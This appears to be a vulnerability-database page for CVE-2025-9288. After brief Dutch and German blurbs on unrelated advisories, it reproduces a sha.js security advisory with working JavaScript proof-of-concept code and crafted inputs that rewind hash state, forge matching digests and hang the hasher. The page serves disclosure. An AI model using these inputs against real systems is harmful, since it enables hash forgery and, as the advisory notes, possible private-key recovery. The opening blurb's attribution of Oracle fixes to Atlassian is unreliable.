CVE-2025-9288

Atlassian heeft kwetsbaarheden verholpen in verschillende producten, welke gebruik maken van Oracle middle-ware producten zoals de Oracle Utilities Application Framework, WebLogic Server, Data Integrator en Business Intelligence Enterprise Edition.

Ein entfernter, anonymer Angreifer kann mehrere Schwachstellen in Red Hat Developer Hub ausnutzen, um Sicherheitsvorkehrungen zu umgehen Informationen offenzulegen oder einen Denial of Service zu verursachen.

Ein Angreifer kann mehrere Schwachstellen in IBM Rational Team Concert ausnutzen, um einen Denial-of-Service-Angriff durchzuführen, Eingaben oder Protokolle zu manipulieren, die Authentifizierung zu umgehen, beliebigen Code auszuführen, Cross-Site-Scripting durchzuführen, sensible Informationen offenzulegen oder offene Weiterleitungen auszulösen.

Ein Angreifer kann mehrere Schwachstellen in Atlassian Bamboo, Atlassian Bitbucket, Atlassian Confluence und Atlassian Jira ausnutzen, um beliebigen Programmcode auszuführen, um Sicherheitsvorkehrungen zu umgehen, um einen Denial of Service Angriff durchzuführen, und um einen Cross-Site Scripting Angriff durchzuführen.

### Summary This is the same as [GHSA-cpq7-6gpm-g9rc](https://github.com/browserify/cipher-base/security/advisories/GHSA-cpq7-6gpm-g9rc) but just for `sha.js`, as it has its own implementation. Missing input type checks can allow types other than a well-formed `Buffer` or `string`, resulting in invalid values, hanging and rewinding the hash state (including turning a tagged hash into an untagged hash), or other generally undefined behaviour. ### Details See PoC ### PoC ```js const forgeHash = (data, payload) => JSON.stringify([payload, { length: -payload.length}, [...data]]) const sha = require('sha.js') const { randomBytes } = require('crypto') const sha256 = (...messages) => { const hash = sha('sha256') messages.forEach((m) => hash.update(m)) return hash.digest('hex') } const validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)] // whatever const payload = forgeHash(Buffer.concat(validMessage), 'Hashed input means safe') const receivedMessage = JSON.parse(payload) // e.g. over network, whatever console.log(sha256(...validMessage)) console.log(sha256(...receivedMessage)) console.log(receivedMessage[0]) ``` Output: ``` 638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4 638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4 Hashed input means safe ``` Or just: ```console > require('sha.js')('sha256').update('foo').digest('hex') '2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae' > require('sha.js')('sha256').update('fooabc').update({length:-3}).digest('hex') '2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae' ``` ### Impact 1. Hash state rewind on `{length: -x}`. This is behind the PoC above, also this way an attacker can turn a tagged hash in cryptographic libraries into an untagged hash. 2. Value miscalculation, e.g. a collision is generated by `{ length: buf.length, ...buf, 0: buf[0] + 256 }` This will result in the same hash as of `buf`, but can be treated by other code differently (e.g. bn.js) 4. DoS on `{length:'1e99'}` 5. On a subsequent system, (2) can turn into matching hashes but different numeric representations, leading to issues up to private key extraction from cryptography libraries (as nonce is often generated through a hash, and matching nonces for different values often immediately leads to private key restoration)